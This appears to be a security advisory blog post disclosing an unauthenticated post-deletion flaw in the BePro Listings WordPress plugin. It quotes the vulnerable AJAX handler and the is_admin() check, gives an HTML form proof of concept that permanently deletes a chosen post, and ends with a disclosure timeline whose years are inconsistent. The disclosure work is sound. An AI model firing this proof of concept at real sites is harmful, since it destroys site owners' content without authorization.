Post Deletion Vulnerability in BePro Listings
As was mentioned in more details on the post on the other vulnerability we found in the plugin BePro Listing, we recently had a request for a file from the plugin, which indicated that someone might be trying to exploit something in this plugin. While that arbitrary file upload vulnerability is probably what hackers are looking to exploit. The plugin also has a vulnerability that allows anyone to delete posts from a website with this plugin enabled.
The plugin has an AJAX accessible function bepro_ajax_delete_post(), which accessible whether or not someone is logged in to WordPress:
734 735 | add_action( 'wp_ajax_bepro_ajax_delete_post', 'bepro_ajax_delete_post' ); add_action( 'wp_ajax_nopriv_bepro_ajax_delete_post', 'bepro_ajax_delete_post' ); |
The contents of the function are as follows:
733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 | //On delete post, also delete the listing from the database and all attachments function bepro_ajax_delete_post(){ if(!is_numeric($_POST["post_id"])) exit; global $wpdb; $post_id = $_POST["post_id"]; $user_data = wp_get_current_user(); $post_data = get_post($post_id); if(is_admin() || ($post_data->post_author == $user_data->ID)){ $ans = wp_delete_post( $post_id, true ); if($ans){$message["status"] = __("Deleted Successfully!","bepro-listings"); }else{$message["status"] = __("Problem Deleting Listing","bepro-listings"); } }else{ $message["status"] = __("Problem Deleting Listing","bepro-listings"); } echo json_encode($message); exit; } |
The only check done before allowing anyone to deleting a post is this:
740 | if(is_admin() || ($post_data->post_author == $user_data->ID)){ |
If you follow our blog you might have already spotted this issue with this, since in one of our security tips for plugin developers we discussed the fact that the function is_admin() doesn’t check if someone is an Administrator level user. And more importantly in this case, the function will “return true when trying to make an ajax request (both front-end and back-end requests)“. Since the function is an AJAX request that check will always return true, leading to the post be deleted.
Making the situation worse, the post will not be placed in the Trash when deleting it this way.
Proof of Concept
Make sure to replace “[path to WordPress]” with the location of WordPress and “[post ID]” with the ID of the post you are trying to delete.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php"; method="POST"> <input type="hidden" name="action" value="bepro_ajax_delete_post" /> <input type="hidden" name="post_id" value="[post ID]" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 6/2/2016 – Developer notified.
- 6/3/2015 – WordPress.org Plugin Directory notified.
- 6/3/2015 – Plugin removed from the Plugin Directory.
- 7/6/2016 – Version 2.2.0023 released, which fixes vulnerability.